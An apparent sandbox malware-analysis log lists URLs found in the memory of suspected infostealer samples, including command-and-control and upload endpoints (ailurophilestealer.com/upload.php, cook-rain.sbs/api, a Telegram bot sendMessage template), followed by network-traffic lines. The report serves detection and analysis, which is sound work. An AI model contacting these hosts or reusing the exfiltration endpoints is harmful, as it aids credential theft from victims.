Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564472342.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563006207.000000000F6E8000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563848778.000000000F6EB000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563118202.000000000F6E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2980609937.0000000008AF0000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001452181.0000000009840000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zend.com/
Source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001452181.0000000009840000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zend.com/Copyright
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: d84bd44db0.exe, 0000000D.00000003.2668784069.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2893843626.000000000492C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://ailurophilestealer.com
Source: Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ailurophilestealer.com/bot
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ailurophilestealer.com/upload.php?
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ailurophilestealer.com/upload.php?aturesres
Source: powershell.exe, 00000016.00000002.2661516093.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA5C000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2893843626.000000000492C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA5C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.comh
Source: Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAF9000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBC1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EAA8000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2856294797.000000000EA71000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2828850245.000000000FBFB000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2893843626.000000000492C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot$bot_token/sendMessage
Source: d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2905598840.000000000155B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/E
Source: d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/K
Source: d84bd44db0.exe, d84bd44db0.exe, 0000000D.00000003.2696264526.0000000001581000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684878745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2667211525.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695091818.0000000001579000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695219696.0000000001580000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: d84bd44db0.exe, 0000000D.00000003.2696264526.0000000001581000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684878745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2667211525.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695091818.0000000001579000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695219696.0000000001580000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api3eaNe
Source: d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiF
Source: d84bd44db0.exe, 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apit
Source: d84bd44db0.exe, 0000000D.00000003.2649534745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650399453.0000000001576000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2650206313.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/f
Source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 0000002A.00000003.2742940051.000001B8C16FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: powershell.exe, 00000016.00000002.2661516093.0000000004F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982318794.0000000008BD0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/php/php-src/issues
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2982318794.0000000008BD0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/php/php-src/issuesbefore
Source: d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Potwierdzenie.exe, 0000000A.00000002.3015907950.0000000009FA0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://nghttp2.org/
Source: powershell.exe, 00000016.00000002.2665006448.0000000005E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: d84bd44db0.exe, 0000000D.00000003.2631653480.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: d84bd44db0.exe, 0000000D.00000003.2670434667.0000000005E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: d84bd44db0.exe, 0000000D.00000003.2631653480.0000000005D9C000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D95000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2859915134.000000001D511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: d84bd44db0.exe, 0000000D.00000003.2631653480.0000000005D9C000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D95000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2859915134.000000001D511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: d84bd44db0.exe, 0000000D.00000003.2631759732.0000000005D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: d84bd44db0.exe, d84bd44db0.exe, 0000000D.00000003.2695995283.000000000158D000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2726413483.0000000001595000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684878745.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2775487080.0000000001595000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695091818.0000000001579000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2712247447.0000000001595000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2713192182.0000000001595000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2684565440.0000000001572000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2696441622.0000000001590000.00000004.00000020.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2695156965.000000000158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarke
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: d84bd44db0.exe, 0000000D.00000003.2671156714.0000000001597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: d84bd44db0.exe, 0000000D.00000003.2632260603.0000000005D58000.00000004.00000800.00020000.00000000.sdmp, d84bd44db0.exe, 0000000D.00000003.2632114726.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2871539375.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Potwierdzenie.exe, 0000000A.00000002.3015026748.0000000009F40000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.libssh2.org/V
Source: Potwierdzenie.exe, 0000000A.00000002.3015026748.0000000009F40000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.libssh2.org/license.htmlD
Source: 4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: d84bd44db0.exe, 0000000D.00000003.2670434667.0000000005E60000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: d84bd44db0.exe, 0000000D.00000003.2670434667.0000000005E60000.00000004.00000800.00020000.00000000.sdmp, 4dfaa8fc03.exe, 00000014.00000003.2988768401.00000000239CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Potwierdzenie.exe, 00000008.00000003.2543164245.00000000094F1000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2542334338.00000000096F4000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3013620743.0000000009E90000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3011786127.0000000009D70000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564648953.000000000F741000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F74A000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562915325.000000000F747000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: Potwierdzenie.exe, 0000000A.00000003.2562191520.000000000F6E7000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564111885.000000000F739000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562976098.000000000F72C000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2563579308.000000000F72E000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2564648953.000000000F741000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2561890609.000000000F6E2000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562768827.000000000F71D000.00000004.00000020.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000003.2562452581.000000000F71C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/pU
Source: 3c0b9f98b1.exe, 00000019.00000003.2722097580.0000000000364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
